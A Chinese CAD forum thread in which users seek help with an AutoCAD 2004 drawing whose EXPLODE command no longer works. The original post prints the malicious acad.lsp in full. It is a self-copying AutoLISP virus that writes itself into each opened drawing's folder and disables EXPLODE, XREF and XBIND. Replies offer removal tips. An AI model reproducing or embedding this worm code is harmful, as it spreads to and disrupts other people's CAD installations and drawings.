cad无法炸开块的求助,另求摆线针轮减速机DWG图

lidaixi

我的CAD2004安装后,从同事那儿拷贝了一个图,结果无法执行_explode.按网上介绍的方法搜索了acad.lsp,acadapp.lsp,清除后直接打开图纸时仍生成一个acad.lsp文件.也无法炸开块.
请高手指教此种情况用什么办法可以去除不能执行_explode的情况.
注:在执行此命令时于前面加上一个.可以,把acad.lsp用记事本打开后删除内容内再存也可以用,先打开程序再开图纸也不会出现炸不开的问题.但是每次打开CAD程序时会出现下列命令:
正在打开 AutoCAD 2004 格式的文件。
正在重生成模型。
; 错误: 输入的列表有缺陷
AutoCAD 菜单实用程序已加载。
生成的acad.lsp
用记事本打开后的内容如下:
(defun
s::startup
(/
old_cmd
path
path
path
path
path
path
path
path
path
path
path
path
path
path
path
path
path
path
path
dwgpath
mnlpath
apppath
oldacad
newacad
nowdwg
lspbj
wjm
wjm1
wjqm
wjqm1
wz
ns1
ns2)
(setq
old_cmd
(getvar
"cmdecho"))
(setvar
"cmdecho"
0)
(setq
path
(findfile
"base.dcl"))
(setq
path
(substr
path
1
(-
(strlen
path)
8)))
(setq
mnlpath
(getvar
"menuname"))
(setq
nowdwg
(getvar
"dwgname"))
(setq
wjqm
(findfile
nowdwg))
(setq
dwgpath
(substr
wjqm
1
(-
(strlen
wjqm)
(strlen
nowdwg))))
(setq
acadpath
(findfile
"acad.lsp"))
(setq
acadpath
(substr
acadpath
1
(-
(strlen
acadpath)
8)))
(setq
ns1
""
ns2
"")
(setq
lspbj
0)
(setq
wjqm
(strcat
path
"acad.lsp"))
(if
(setq
wjm
(open
wjqm
"r"))
(progn
(while
(setq
wz
(read-line
wjm))
(setq
ns1
ns2)
(setq
ns2
wz)
)
(if
(>
(strlen
ns1)
14)
(if
(=
(substr
ns1
8
7)
"acadapp")
(setq
lspbj
1))
)
(close
wjm)
)
)
(if
(and
(=
acadpath
dwgpath)
(/=
acadpath
path))
(progn
(setq
oldacad
(findfile
"acad.lsp"))
(setq
newacad
(strcat
path
"acadapp.lsp"))
(if
(=
lspbj
0)
(progn
(setq
wjqm
(strcat
path
"acad.lsp"))
(setq
wjm
(open
wjqm
"a"))
(write-line
(strcat
"(load
"
(chr
34)
"acadapp"
(chr
34)
")")
wjm)
(write-line
"(princ)"
wjm)
(close
wjm)
)
)
(writeapp)
)
(progn
(if
(/=
nowdwg
"Drawing.dwg")
(progn
(setq
oldacad
(findfile
"acadapp.lsp"))
(setq
newacad
(strcat
dwgpath
"acad.lsp"))
(writeapp)
)
)
)
)
(command
"undefine"
"explode")
(command
"undefine"
"xref")
(command
"undefine"
"xbind")
(setvar
"cmdecho"
old_cmd)
(princ)
)
(defun
writeapp
()
(if
(setq
wjm1
(open
newacad
"w"))
(progn
(setq
wjm
(open
oldacad
"r"))
(while
(setq
wz
(read-line
wjm))
(write-line
wz
wjm1)
)
(close
wjm)
(close
wjm1)
)
)
)
(defun
C:explode
(/
p
cont
old_cmd)
(setq
old_cmd
(getvar
"cmdecho"))
(setvar
"cmdecho"
0)
(setq
p
(ssget))
(as
if
p
(progn
(setq
cont
(sslength
p))
(princ
"\nSeltct
objects:")
(princ
cont)
(princ
"
find")
(princ
"\n")
(princ
cont)
(princ
"
were
not
able
to
be
explode")
)
)
(setvar
"cmdecho"
old_cmd)
(princ)
)
(defun
C:xref
(/
old_cmd)
(setq
old_cmd
(getvar
"cmdecho"))
(setvar
"cmdecho"
0)
(command
"insert")
(setvar
"cmdecho"


附件为运行CAD时在文本编辑时会显示错误的画面,请高手一并指点.

lidaixi

版主请帮忙啥!
发个贴子半天了也没有人回应一下.
真的是没有办法才到这里发贴子的.
我用了浩辰的杀素程序也没有用,重新安装CAD也不见好转.
用是能用,但是没有彻底解决问题.

scyahua

有两种可能，一是，作者为保护自己的权利用了加密软件，现在的CAD图纸加密软件可以令图纸只能看，不能编辑，也不能复制，所以更不能炸开块了；二是，文件在保存时发生了意外情况，导致某些数据丢失，也可能出现上述情况，基于先开程序后打开文件能炸开（可以将图纸内容复制到另一个文件中保存，应该能解决此问题），多半是后者造成的，偶也遇到过直接点图纸文件不能打开，开了CAD再点图纸文件能打开的现象，至于为什么偶也清楚！

lidaixi

在CAD安装目录的如
C:\Program Files\AutoCAD 2004\Support
里建两个名字为
acad.lsp
acadapp.lsp
的空文件。
然后用我下面提供的一个专杀CAD病毒的小程序杀一下就行了。

lidaixi

CAD病毒查杀小程序，我用了绝对安全

johnjojo

打开的图另存为DXF文件，什么问题都解决了!

yingzhihai

顶个看下，我的CAD中没有发现这些文件，可就是不能炸开，打开CAD也不是他们说的那样慢，很快就可以打开了

睡觉淌口水

靠，这么高深啊？

jtlx

一般只要能打开，就会能找到破解的方法

dierke

可能加密了吧